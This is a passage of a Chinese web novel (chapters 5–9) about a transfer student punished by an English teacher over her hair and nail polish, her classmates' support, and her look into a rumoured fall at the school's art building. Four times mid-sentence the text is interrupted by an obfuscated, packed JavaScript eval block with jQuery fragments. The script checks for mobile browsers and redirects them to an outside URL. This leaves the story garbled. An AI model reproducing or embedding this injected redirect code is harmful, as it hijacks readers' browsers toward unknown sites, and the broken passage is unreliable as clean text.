了起来——她被人“抬”进了教室里,由几个女生团团围住。她茫然地望着门口的一堵人墙,刚认识几天的同桌、叫不出名字的同学,此刻都挡在她面前帮她说话。
“还好吗?有没有吓到?”一个女生轻拍着纪之水的肩膀,往教室后看了一眼。
教室里还有几个学生在奋笔疾书,后门半开着,估计是谁走的太急忘了关门。放在平时,不随手关门的人通常会受到一番道德上的谴责,但今天,腿脚不够快没抢着前排的人只能伸长脖子往外张望,活像一只只狐獴。
最后一排基本半空。顾天倾也不见了踪影。
最喜欢凑热闹的家伙怎么会在这时候缺席?
为了宽慰吓得脸色惨白的纪之水,那女生想了想,又小声和她说:“有几个男生看情况不太对,去办公室找班主任了。班长让我们照顾着点你,周老师她……”
说到这儿,女生似乎很无语似的,也不知道怎么形容,只好叹了口气。
有人也跟着蹲在她跟前,接过话头:“周老师她脾气一直不好,之前还和我们班上的人吵架。不过也没闹成今天这样。”
“别害怕啊,虽然周英有点没事找事,不过老李……也就是我们班主任,他还是很讲道理的。”
多贴心。还怕纪之水不知道班主任姓甚名谁,特地提了一句老李是班主任。
柳天意也从人群中脱身,伸手把纪之水的头发揉乱,跟着补充:“哎呀,之前也是的,11班有个女生也被她找茬,都被骂哭了。”
纪之水没哭。她想表示自己也没因为这一通闹剧害怕,却根本插不上话,每个人都觉得她吓得不轻。
终于在一个空档,纪之水迟疑地憋出了一句:“……谢谢?”
“什么?”柳天意没听清。
门口的风被挡的严严实实,教室里的温度在空调的不懈努力下十分宜人。纪之水吸了吸温差巨变赐予的清水鼻涕,坚定了语气:“谢谢你们。”
这回,柳天意听清了。她的脸以肉眼可见的速度涨红了,纪之水差点以为柳天意是对冷空气过敏,直到她看见柳天意偏过头,别别扭扭地哼了一声。
似乎还是没有原谅她。
不过也有很多女孩大大方方地回应了纪之水。
“哈哈,不用谢啦。”
“就是,都是同学嘛。”
“喏,餐巾纸,把鼻子擦擦。”
纪之水接过递来的纸,默默蹲在地上擤鼻涕。
到这里,事情的发展已经和她想象中的完全不一样了。
纪之水有些愕然,更多的是想不通:如果所有同学都是这样友善,那她费尽千辛万苦到金城来,真的还有意义么?
5. 第 5 章
金城高中在本地的风评其实很不错。
办学五十来年,这所规模不大的地方高中出了好几十个清北学子。
在地处偏僻的金城,这怎么也算得上是一个小小的办学奇迹。金城高中的辉煌战绩,更是引得无数本地、乃至周边外地的家长挤破了脑袋把孩子往学校送。
然而,即便有如此耀眼的履历,也改变不了金城高中矮子里拔高个的本质。
金城的教育资源并不算丰富,生活习惯也和纪之水原本居住的地方大不相同。真转学过去,需要面对的问题只多不少。
朋友们对纪之水的转学决定颇为担忧,但给予了感情上的全面肯定和支持。
在纪之水家里举行的小型告别派对上,有女孩这么说:“体验一下截然不同的高中生活。说不定也挺好的。要是受不了,你就回来嘛。”
女孩们的游戏已经进行过一轮,茶几上散落着一堆样子各异的纸牌玩具、水晶球和五颜六色的漂亮石头。
纪之水穿着漆黑的小猫连体睡衣,手里捧着一副未拆封的塔罗牌。
纪之水自信道:“我不会受不了的。”
“金城那地方的和我们这儿的办学差异很大的。听说他们不能带手机上学,不能染头发,也不能穿自己的衣服,你去了那边,记得要注意一点。”
纪之水拆开了塑封包装,从纸盒里倒出纸牌,登时没听明白:“……什么叫不能穿自己的衣服?”
“字面意思。一年四季穿校服,不穿扣分、写检讨、请家长。”梅陆露冲纪之水露出一个怜悯的笑容,“我表妹也在金城念书来着。她们学校管的可严了,军.事化管理,堪称灭绝人性。”
千算万算,纪之水没算到在这里连她的头发和指甲会成为被攻击的一环。
她的头发没经过烫染,纯天然。只是冬天脖子太冷,放下刚好能挡风,她就没扎成一束。至于指甲……谁能想到学校还会管学生指甲的颜色啊!
转学还没过几天,纪之水就这样被叫了家长,创造了人生中没有任何意义的一条最快记录。
但又没完全叫。
班主任按照联系册上的电话号码拨打黎兴学的电话,起码打了三次,回回都是忙音。他甚至怀疑过纪之水给了假电话号码——但这是不可能的,几天之前他亲眼看着黎兴学填写入学表格,而纪之水一言不发,跟在她父亲身后,摆明了是个阴郁又不善言辞的小孩。
纪之水站在办公室,顶着一头乱发,面无表情的等待发落。
办公室里的老师划分成鲜明的两派,有人围绕着安慰哭泣不止的周英:“你也是好心嘛。”
也有人隔岸观火,远在包围圈外事不关己地批改着作业。飞舞在试卷上的红笔发出规律性的沙沙响动,卷子翻过一张,又一张。
“现在的学生真是一点都说不得!还和老师动起手来了!”
周英的声音透过那个小小的包围圈传过来,就差面对面控诉。纪之水面朝窗户,眼珠都没动一下。
班主任终于迟缓地意识到拨打电话是个无用功,随后作出了更加无用的决定。
他居然问纪之水:“纪之水,你父亲的电话怎么打不通?”
她难道会知道黎兴学在干什么么?难道她看起来和黎兴学很熟吗?
纪之水摇头。
班主任怀疑自己从眼前文弱乖巧的女生眼里看到了鄙视。这一定是个错觉,因为再一眨眼,纪之水还是那副安静又畏怯的样子,视线盯着地板,桌面,就是不敢看人。
“怎么会不知道呢……”班主任挠了挠肚皮。
办公室里被空调熏得温暖如春。班主任皱着眉毛,开始在抱着手机转圈。纪之水抬眼静静盯着他,感觉眼前的中年男人似乎快要在寒冬腊月急得出汗了。
家长的电话打不通也没有办法。周英还在抽噎,班主任从另一幢教学楼赶过来,一口气没歇过,此刻也是心累不已。
他只希望事情快些结束,正色问:“纪之水,你知道错了没有?”
纪之水还是摇头。
班主任严肃道:“你这孩子,怎么光摇头呢。说话!”
“我不知道。”纪之水说。
“知道就好。”他像是根本没听清纪之水说了什么,转变了一副口气,和蔼道,“老师也是为你好。看看周老师,都被你气成什么样了。去和英语老师道个歉吧。”
纪之水声音大了一点:“我不知道我错在哪里,老师。”
办公室里刹那一静。
连周英的控诉都被一双无形的手掐断了,一瞬间安静的可怕。
纪之水这才方知,无论是坐在办公室桌前批改作业的老师,还是围在周英旁边好言安慰的老师,他们看似将她隔绝在了一片无人在意的空间之中,实际上,每个人都在竖起耳朵偷听。办公室的窗户明净,会有学生定期来做值日,清晰地映照出在她身上转了一圈的诸多眼神。
周英的声音又续上了,对着同事们说:“你们看看,真是死不悔改!”
“你还嘴犟?周老师说错你什么了吗?”班主任也被她油盐不进的样子激出了几分火气,大声斥责,“看看你那头发、指甲!哪周开班会的时候我没强调过,女生要把头发扎起来,不能带首饰,不能做美甲!你说说你,把我的话——”
“上周开班会的时候,我还没有转过来。”纪之水平静地说。
班主任忽而哑了。
他的怒气分毫未散,甚至有愈演愈烈的趋势。
班主任还有教学会议要开,扔下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862739|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句“我之后再来找你”,匆匆忙忙当了甩手掌柜。周英不想看见她,让纪之水站在办公室门口“反省”。
英语组的办公室坐落在走廊的尽头,隔着楼梯口,旁边就是最近的班级。纪之水看着前门的标志牌:高三(6)班。
窗户里有学生朝教室外张望,好奇地看着她。
当纪之水看过去时,他们又欲盖弥彰挪开视线,忙碌地翻动书页、整理课桌。
走廊上学生来来回回,纪之水扫过一张张陌生的脸庞,忽而在其中看到了熟人。
隔着几十米,陈芊早就在办公室门口看见了那道身影。
她很瘦,很白,脱了羽绒服之后整个校服都塞不满,挂在身上的外套显得空荡荡的。纪之水像一片轻飘飘的纸片,贴着白瓷砖,脸上是很空白的神情。
刘瑞平说她刚和英语办公室的周英吵了架。
陈芊觉得很奇怪。虽然她和纪之水根本没说上过几句话,但心里却觉得对方不是会和人吵架的性格。
她收齐作业,急着在上课前交给老师批阅,也就没时间听匆匆忙忙跑回来的刘瑞平细讲。陈芊怀里抱着捧着一沓英语试卷,路过纪之水时脚步停了一下,办公室的门虚掩着。陈芊最终什么也没说,走了进去。
陈芊进门,作为乖学生得到的是截然不同的待遇。
7班的英语老师像往常一样,随手捞起办公桌上的零食塞进陈芊口袋里,接过试卷顺口问:“卷子收齐了吗?”
大概少了十来张,厚度摸着都要薄几分。
陈芊硬着头皮道:“齐了。”
老师也没说什么。
她亲切地问:“昨天晚上做起来怎么样呀?觉得难不难?”
“完形填空用的时间用的时间长一些,有几个空不太确定……”
办公室里看上去和往常没什么分别。陈芊分了心,另一条过道里三四个英语老师凑在一起聊天,手里捧着热气腾腾的茶杯。
其中有一个应该就是周英。
周英愤填膺地说着什么“臭美”、“打扮”、“反了天”,惹来一阵附和。陈芊正要细听,忽然被打断了思绪。
“陈芊?”英语老师又喊了她一声。
陈芊回过神来,靠着肌肉记忆回想起刚才的对话,道:“课前十分钟我会让他们先背今天的词汇……”
“好了,回去吧。”英语老师笑道,“你这孩子,今天怎么看上去心不在焉的。”
出了办公室,冷风扑面而来。
陈芊带上了办公室的门,将所有的暖意隔绝在背后。
纪之水还是站在墙边,没有和她搭话的意思。
……分明是这个怪人先说的“之后见”。可她现在站在这儿,纪之水却一句话也不说。
6. 第 6 章
如果这只是一种吸引她注意力的手段,那么陈芊不得不承认:纪之水真的做到了。她现在是真的有一点点,但绝对只是一点点在意她。
“喂。”陈芊站在了原地,开口问,“到底发生了什么?”
纪之水原本没打算说。
不过想到她和陈芊还是要再见的,纪之水也就不吝啬这么几句话的功夫了。
“英语老师因为我的头发和指甲骂了我。”纪之水言简意赅地说,“班主任让我道歉。我没肯,她就让我罚站。”
“指甲?”陈芊一愣。
纪之水伸出藏在袖子里手,给陈芊看她的指甲:“喏。就是这样。”
大冬天,纪之水的手背被冻得微微发青。她本人完全没有感觉似的,像是一点都不怕冷。
十个黑漆漆的指甲盖乍一伸出来还是有点冲击力的。陈芊没想通怎么会有人把指甲染成这个颜色——呃,不过纪之水这个人已经够怪了,染个指甲也很正常吧?
陈芊叹了口气。她解下脖子上的围巾,挂在纪之水身上,草草绕了两圈,熟练地裹住了纪之水的脖颈和脸颊。
纪之水埋在暖融融的羊绒里,没忍住蹭了蹭脸。
很暖和。
陈芊看到她自然而然的小动作,在心里偷偷惊奇了一番。原来她不是真的不怕冷,只是在强撑吧?
“又不是教务处的,仪容仪表的和她一个英语老师有什么关系。”陈芊抱怨了几句,很是看不惯。
但这话其实有些帮亲不帮理的意思。老师管学生,即使是在职责之外,总是有几分道理的。在纪之水和周英发生矛盾时,陈芊下意识将纪之水划进了“自己人”的行列。
大抵是因为纪之水虽然古怪,却并不惹人讨厌吧。
临近下节课,又只隔着一道没关严实的门,随时可能有老师走出来。陈芊也不知道自己哪来的胆量,居然就这么脱过口出。
话音刚落,纪之水没说什么,陈芊却顿了顿。脸上浮现出懊恼。
纪之水一脸平静。她似乎完全不需要安慰这种东西。
陈芊便也整理好心情,道:“你胆子真大。什么时候能回去?还是要等家长来?光站在这儿也不是个事吧。”
她现在是在干什么啊?陈芊在心里埋怨自己。分明今天早上才刚认识,她和纪之水一点关系也没有,现在却在办公室门口陪她闲聊吹冷风。
就像刘瑞平说的,纪之水是一个怪人。
她看来真的很怪。连同她往纪之水旁边一站,也受了感染,开始操用不着的心、管和她没关系的闲事。
纪之水耸了耸肩,无所谓地说:“我家没人接电话。”
言下之意是得一直站着了。
陈芊帮她整理围巾的手一顿。
看她的反应,纪之水估摸着她或许已经知道了些什么——这群高中生的消息传的还真快。
“快打铃了,你先回去吧。”估摸着时间差不多,纪之水开始赶人了。她是今天才知道这个学校的规矩有多严,不愧是传说中的“军.事化管理”,竟是一点也没夸张。
纪之水指了指围巾,又确定了一遍:“借给我了?”
陈芊下意识嗯了一声。
不然呢?放她一个人站在四面透风的走廊冻成冰雕,酿成金城高中的第二桩惨案?她撇了撇嘴。
“谢谢你。我明天洗了还你。”纪之水冲陈芊露出一个狡猾的笑,“那么,明天见啦。”
陈芊:“……”
有一种掉进陷阱的感觉。陈芊一面往回走一面想,又觉得自己做的每一件事好像都没受谁的骗,上当也上得莫名其妙的。
走到半路果真打了铃。陈芊一面抱怨纪之水乌鸦嘴,一面在走廊上跑了起来。万幸老师还没进教室,她冲进门,赶紧回到了座位上。
吴羽把课代表刚分发下来的卷子递给陈芊,随口问:“怎么这么晚?”
陈芊恍惚地说:“我遇到她了。”
“谁啊?”
陈芊往卷子上写学号,小声说:“就是那个,纪之水。”
“喂。”一道声音不请自来,“我又打听到了新消息。下课和你们讲。”
刘瑞平埋了个让所有人都抓心挠肺的伏笔。老师已经进班了,吴羽连绝望前的一句小声哀嚎都没机会喊出来,用心碎欲裂的眼神代替了声音。
说话说一半是会天打雷劈的!
·
上课铃还没响完,整个走廊彻底清空。
陈芊前脚刚走,后脚办公室的门开了一回又一回。
英语老师们从纪之水旁边路过时直视前方,就像根本没看见门口站着一个人。他们夹着教案,一个人或是和同事结伴而行。直到走出去数米,同行的人才会偏头和身边人说话。
很刻意又很拙劣的演技。
既然他们故意不看她,那就轮给了纪之水光明正大观察的机会。
周英和办公室里三位年轻老师关系最好,说话热络,俨然是一个小团体。有几位老师一整个课间都没和他们搭过腔,只做自己的事情,和小团体之外的人偶尔有交流,语气都是淡淡的。两派人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862740|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇异地做到了把共处一室的部分人当做空气。
短暂的几分钟透露着办公室微妙的人际关系。
而旁观今天这场能够为生活增添部分乐趣的小矛盾似乎也给老师们带来了一点小小的后果:他们快要迟到了。每个人的脚步都显得略快,还有人偏头小声和同伴说忘记了要上课。
周英这节课大概是空的。她既没有出办公室,也没搭理站在门口的纪之水。
纪之水觉得她是该做打算了。
是猜周英只是想晾一晾她,过后再叫她去听训,还是猜周英会全然将她抛在脑后?如果是后者,她肯定不会就在这儿傻站一节课。
她想知道,刘瑞平今天早上说的那件事,究竟是真是假。她还没去过艺术楼,或许实地看看能有新发现。
·
刘瑞平觉得纪之水嘴巴里就没有实话。
什么“家人工作变动”,她转学的理由根本站不住脚。他趁着课间在学校里打听了一通,躲在厕所用偷带的手机给朋友们发了消息询问,没过太久就收到了几个人的回应。
有人认识纪之水的父亲,黎兴学。
第一个响应的朋友声称,他的妹妹和纪之水同父异母的弟弟黎明达是同班同学,都在金城国际念初中。开家长会的时候,朋友代替父母去了妹妹班上,当时见过黎兴学一面。
[你说这不是巧了么?她报到的那天我刚好被老头乐抓了,搁教务处罚站。]
[那个女生管黎兴学叫爸,估计就是他女儿。]
[据我所知黎明达是金城本地人啊,他爸也是。我妹班级里统计过,外地来的就那么几个,名字我大概有印象,肯定不是黎明达。]
刘瑞平觉得朋友在瞎扯,第一时间抓住了其中的漏洞。
他回复道:[纪之水姓纪,你说的那父子俩姓黎,能是一家人吗?别是你耳朵不行听错了吧?]
[怎么可能?]
[我一听就知道你说的女生是她啊!黑长直,眼珠黑的吓人,脸很白,尖下巴,阴沉沉的,这么明显的个人特征一百个里面也就这么一个啊!]
那也有道理。可能家里生了俩小孩,一个随父姓一个随母姓,这也很常见。
朋友们肯定不会诓他。这么一看,刘瑞平觉得纪之水一定说谎了。
黎兴学既是金城本地人,也就不存在所谓的工作调动问题。况且黎明达都在金城这地方上了多少年学了,也不是第一天才出现,纪之水她甚至不愿意找一个没那么容易被拆穿的借口。
是有恃无恐吗?
7. 第 7 章
纪之水没能跑路。
顾天倾从楼梯口拐出来的时候,她还以为自己认错了人。
没想到在一个yesorno的选择面前,跳出来的居然会是or。比周英的善心大发先到的是才被她明嘲暗讽、写小纸条威胁离她远一点的顾天倾。
顾天倾逃课,比全班同学都是好人这件事听起来更不可思议。
在纪之水为数三天的短暂观察中,顾天倾是个非常独特的金城高中经典样本。他绝对是个符合金城高中生存法则的好学生,而好学生不会在上课时间在学校随意游荡。
纪之水看过公告栏上的成绩单。上回月考,顾天倾排在了第一,甩开第二名足足二十来分,是板上钉钉的清北预备役。顾天倾性格好,在学校里朋友无数,加上唯分数论的光环加成,老师也不会对这样的学生有恶感。
可能就像穆若婷说的那样,没人会对顾天倾生出恶感,除了她这个半路跳出来的异类。
顾天倾究竟知不知道恐吓纸条是她放的还尚未可知,纪之水先发制人:“你来做什么?”
“来落井下石啊。”顾天倾坦然地回答。
纪之水:“……”
这就是传说中的,真诚是必杀技吧。
离她大概还有一米半的位置,顾天倾停下了脚步。
他的校服外套拉到了最上面,手里抱着一件衣服,恰巧颜色很深,衬得他露在外面的手指更白。他常在外面跑动,冬天才生出几分懒散,却一点没被太阳晒黑。
顾天倾衣服穿的很板正,人却不显得呆板,只会让人觉得干净利落,是可以被服装厂老板直接拉去当校服模特的程度。
“你不会当真了吧?我只是开个玩笑。”顾天倾弯了弯唇,将怀里的衣服递给纪之水,“穆若婷让我带给你的。”
纪之水目光一顿,下意识仔细看去:他手里抓着的是她的外套。
金城高中虽然规矩严苛,但也不算亏待学生,纪之水来的这几天,A班的空调就没停过。
内外温差大,学校发的校服又不保暖,她也入乡随俗,在校服里叠穿棉袄,进了教室再脱。室外确实很冷,纪之水面对向她伸来的那双手,几乎没有犹豫。
本来就是她的衣服,穿一下怎么了!
纪之水一把夺过,裹紧了外套,翻脸不认人:“谢谢,你可以走了。”
她还急着去艺术楼一趟。
“我走什么?”顾天倾哼了一声,刚抬脚走了一步,就被纪之水的眼神喝退。
她那么凶恶地看着他干什么。顾天倾心里一阵好笑,却没故意使坏靠近。先是退了半步,才在纪之水稍显满意的表情中同她说话。
“麻烦您高抬贵脚,”顾天倾指指办公室的门,像是生怕纪之水激动之下扯下围巾勒他脖子,老实道,“我要进办公室。”
纪之水往没风的那一面挪了挪,让开了位置:“噢。”
顾天倾正要敲门,又回过头,用纠结的眼神看着她。纪之水不耐烦了,她让了一次不代表顾天倾可以借此蹬鼻子上脸,语气很差地问:“还有什么事?”
“你别乱跑,我两分钟就出来。”顾天倾嘱咐道。
……实话实说,被看穿的感觉,很糟糕。
纪之水不吭声,在顾天倾的注视下不情不愿地点了点头。人在屋檐下,只能暂时屈服。
顾天倾象征性地敲了敲门,门后没有任何动静,他表情不变,拧开门把手走了进去。纪之水目送顾天倾走进去,本想拔腿就跑,纠结了两下,叹着气靠在了墙边。
周英听到了敲门声,只是没高兴理会。英语课代表在课间收来了默写本,她忙着批阅,往手边的名单上勾画。
才在门口站了十分钟不到,就这么沉不住气。周英在心底冷笑一声。
原以为那个女生是来道歉的,谁料一抬头,来的却是A班的班长。
她客气地问:“顾同学,有什么事吗?”
“周老师,我来找纪同学。您这边还有事要留她吗?褚老师看班里的人少了一个,不太放心,让我出来找找。”顾天倾怕纪之水又一下没抓住就开溜了,语速略快地说,“如果您这边的事结束了,我就先带纪同学回去了。”
周英脸色僵硬。顾天倾和普通学生不太一样,她不好多说什么,绷着脸说:“没什么事了。”
顾天倾说两分钟,实际上从进去到出门也就过了一分钟不到。
他站在纪之水面前,表情有些得意:“我没骗你吧,只要两分钟。”
这有什么可骄傲的。
纪之水搞不懂他们高中生的脑回路。不过她来到这个学校之后,搞不懂的东西多了去了,没好气地说:“我又没戴表,我怎么知道过了多久。”
“好在,我戴了。”顾天倾撸起袖子,向纪之水展示手腕表盘上的倒计时,本来还算得上帅气的脸蛋上只剩下得逞过后一片鲜明的幼稚。
“事情解决了,先回班吧。”
纪之水反正是不高兴站
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862741|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在办公室门口吹风了。顾天倾这么说,她乐得自在,裹了裹身上的棉服就往前走。
“什么算是‘解决’了?”
解决到哪种地步?
是他靠着三言两语就让原本对她心怀不满的老师意识到她作为一名学生的优秀品质其实如金子一般可贵,还是周英愿意对她网开一面了?看顾天倾的样子,纪之水估计二者都不是。
“严谨一点来说,是‘暂时解决’了。至少你现在不用在这当门神。”
顾天倾的声音是从后面传来的。
纪之水发觉他没跟上来,转过头纳闷地问:“我不当,你接任了?”
“不是你说的吗,让我离你远一点。”顾天倾无辜地说,“我这是在践行你对我的要求。”
“……”神经。
·
这件事说到底没彻底解决。
只要周英看她不顺眼,有的是办法随时找她的麻烦,今天很有可能只是个开端。
纪之水咧嘴笑了一下,这样也好。说不定她就这么合情合理地成了办公室常客。今天在门口罚站,明天说不定就在室内罚站了,这也是一种进步。
她看英语组的办公室氛围,觉得还挺有意思的。
第一节课下课,周英没找她。班主任也像是把她忘在了脑后。纪之水便心安理得地歇在了温暖如春的教室,接受着来自四面八方的女孩们的安慰和投喂。
转学生躲过了热情的班长牵来的友情红线,没躲过一群心地善良的女生自发的靠近。
“这种感觉其实挺好的吧?”阴魂不散的家伙又出现在了她的旁边,泰然自若地占据了过道一侧去接水的男同学的座位,对纪之水说,“其实一开始大家都很想和你做朋友,只是看出来你有点害羞,所以想循序渐进。”
纪之水感觉自己生病了。她得了看到顾天倾那张脸就要冷笑的病,“害羞?”
“别不好意思嘛。”
“你刚才还说要尊重我的意见,离我远点。”纪之水旧事重提。
顾天倾却一脸理直气壮。他伸出手,在过道之间比划了一下,“这是班级里能够产生的最远距离。再远一点就坐不开了。”
“你真的不是故意的吗?”
“故意什么?”
“知道我讨厌你所以故意往我身边凑。”纪之水从来没有把话说得这么直白过。
顾天倾非常惊讶:“什么!纪同学你讨厌我?”
他好像第一天才知道。
8. 第 8 章
纪之水后悔了。
她不该说出这种话。
现在顾天倾有了更好的跑到她面前给她添堵的理由。
他倒也没做什么,甚至践行了之前的承诺,不会特意在她面前刷存在感。
但一个班级就只有这么大点的地方。哪怕纪之水是走读生,捱到下午五点就能有合理离开学校的理由,却还是和顾天倾抬头不见低头见。顾天倾的座位就在纪之水正后方两排。无论是出教室门、打水,他们共用一条走道,躲都躲不开。
只要碰巧遇见,顾天倾就会恶劣的,用一种浮夸的语气故作愚蠢的问她:“纪同学,我能知道你为什么讨厌我吗?如果哪里惹你不开心,我可以改的。”
那副漂亮和煦的面孔愈发趋近于一张不加掩饰的面具。如果非要描述,纪之水只能如是比喻:顾天倾就像是从一块阳光难以企及的墙角长出来的生物,冰冷、潮湿,却以冷然的目光窥探墙角外普照的阳光,并试图进行拙劣的模仿。
很多人被他骗过,甚至发自内心地给顾天倾贴上了“阳光开朗”的标签。
他的拙劣演技再多爆发几遍,全班都将猜到那张所谓的“恐吓信”是她写给顾天倾的。至少目睹顾天倾浮夸表演次数最多的穆若婷已经开始用奇怪的眼神看他们俩了。
本来那张纸条上也没写什么。
纪之水起初只是烦透了顾天倾老是打着帮她融入班级的旗号做些没头没尾的事,就在纸条上写,顾天倾笑起来很假很恶心,让他最好少笑,以及少管闲事。但不知为什么传着传着,事情的走向逐渐开始偏移,发展到现在所有人都觉得顾天倾收到了一封措辞恐怖的恐吓信。
她连带着开始看那个总是和顾天倾一起玩的赵藏锋不顺眼。
纪之水愤愤表示这其中一定出了问题,她写的最多只能算是“建议信”!
毕竟她说的是顾天倾你笑起来很恶心能不能不笑,又不是顾天倾你笑的很恶心如果再笑我将撕了你的嘴!
好在,纪之水本身就有更感兴趣的事情要做。加上不想欣赏顾天倾比一日三餐还准时准点的打扰,以及被穆若婷以奇怪的眼神洗礼,每每下课铃一响,纪之水就以迅雷不及掩耳之势第一个跑出了教室。
穆若婷目瞪口呆,转念一想又很是羡慕:“完全是八百米健将预备役啊!”
艺术楼前的空地很干净。
以刘瑞平的说法,如果真的有一个人在不久前在此地坠楼,那么眼前这片土地,实在是干净的太过头了。
有人坠楼后的地面,血迹通常呈放射状或喷溅状,而坠楼者所携带的随身物品也有可能因为撞击碎裂,散落各地。如果坠落的高度够高,地面的清理是一件很麻烦的事情,通常要持续好几个小时甚至更久。
纪之水去的时候,白天的地面完全看不出血液浸泡后的痕迹。
教学楼本身建得不高,或许也有害怕学生意外坠楼的考量。姑且假定坠楼者坠楼高度低,伤势不重,加上学校第一时间封锁了消息,地面很快被清理干净吧。
纪之水又查看了附近的绿化带,以及各种容易被忽视的边边角角——
什么也没有。她只看到了没有素质的学生扔在草丛里没来得及被保洁捡走的饮料瓶。除此之外,没有任何不应该出现在这里的东西。
纪之水不禁开始怀疑:刘瑞平是不是真的看错了?
一个偌大的高中在周日发生坠楼事件而周边没有传出任何消息,这件事本身就是反逻辑的。更何况金城高中虽然是寄宿制,所有班级的走读生加起来也不是一个可以忽略不计的数目,怎么可能将一个爆炸性的消息封锁的密不透风?
理智层面上,纪之水从一开始听到这个消息就觉得它为真的可能性不高。但在拿到证据前宁可错杀不可放过,万一这世界上真有这么离奇的事情发生了,她也好做个准备。
白天看不出来的东西,晚上说不定会不一样。纪之水决定晚上再来看看。
忙了小半天无功而返。纪之水瘫倒在桌面,开始熬时间等放学。
过道旁的座位再次被人占据,纪之水闭着眼睛,在对方开口之前说:“停。”
顾天倾支着下巴,看着一整个白天出去了好几趟就莫名蔫巴了的转校生好奇地问:“你怎么知道是我?”
纪之水睁开眼睛,果不其然是那张脸,“你好烦。”
好在只剩下最后一节课,她今天就再也不用见到顾天倾了。纪之水如是自我安慰。
让好学生留下上晚自习上到十点钟去吧。她今天要在十点钟之前入睡,养成良好的作息。纪之水暗暗发誓。
英语课代表站在了讲台上:“周老师让今天默写没过的人去她办公室重默完了再去吃晚饭!”
通知完,教室各个角落响起了零零散散的哀嚎。能不能过关,大家心里都很有数,少吃一顿晚饭对每天又困又饿的高中生来说无疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862742|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是个巨大的打击。
顾天倾不肯闭嘴,仍旧没话找话:“纪同学,你猜那叠默写本里有没有你的本子?”
多嘴。果然还是没把她的“恐吓”听进去,当成了耳旁风。纪之水瞥了顾天倾一眼。
但他这么一说——一阵灵光忽然击中了纪之水,她眼前一亮:“肯定有!”
语气竟然带着雀跃。
周身的疲惫刹那间一扫而空。纪之水精力满满地站了起来,去放在讲台上的那群本子里挑挑拣拣。
周英果然没有放过她!
纪之水心情愉悦地带着默写本回来了。
周英要求他们一个早读背下三十页词汇,从里面挑选三十个单词默写,错到五个即为不合格。纪之水前几天都不出意料地擦边过关,这还是第一回喜提办公室重默。耳濡目染之下,她其实很清楚这一套流程。
纪之水翻开了默写本,一共错了六个单词,但有几个叉打得很牵强。周英圈出了几个单词,在空白的地方写下:“i&l”,并一个鲜红、巨大的问号。
顾天倾居然还没走,也自来熟地凑过来看。他只看到一个被数字圈起来的6,纪之水就把本子合上了,还顺带瞪了他一眼。
“错了六个?其实也不错了,你早上都没怎么背书,看来英语基础很不错。”顾天倾虚伪地夸赞道。
纪之水一点没被拍到马屁,听完后甚至大为光火:“你监视我?!”
“苍天可鉴,绝对没有。”顾天倾举手发誓,“你不是第一节早读还在别的班玩么?我这是合情合理的推断啊。”
谁玩了?纪之水没高兴理他。
整个早读并没有严格划分成几个科目。周英每次安排的背诵任务时间紧任务重,势必会挤占掉很大一部分时间,对于英语短板的学生而言甚至要献祭掉整个早读才能勉强过及格线。平行班的要求倒是没这么变态,只有偏科进A班的学生日日背英语如上坟,堪称生不如死。
在请教了英语课代表之后,纪之水单独为之后可以预见的频繁重默生活开辟了一本专门的重默本。
毕竟没有了i和l这对长相相似的孪生兄弟,还有j和i,m和n。
亲眼看过纪之水的默写本,穆若婷一脸同情:“她这完全是鸡蛋里挑骨头。”
“没关系。”纪之水说,“就当每天再复习巩固一遍。我是走读生,又不会没饭吃。”
这未必不是一件好事。
9. 第 9 章
最后一节课的下课铃一响,冲向门外的队伍分成了两波。一堆人冲向文科老师的办公室准备重默,另一波则以最快的速度逃离教学楼。
整个晚饭时间只有一个小时。五点下课,六点进班晚自习。时间看似宽裕,实则住宿生的吃饭、洗头洗澡、打水等等所有杂事几乎全都浓缩在这短短的一个小时里,加上往返赶路,每个人都得作出抉择。
纪之水先去找了班主任。
李老师刚巧被她堵在了办公室门口,看到她不禁一愣。他这才想起白天的那场风波,面对纪之水,一时间竟有些沉默。
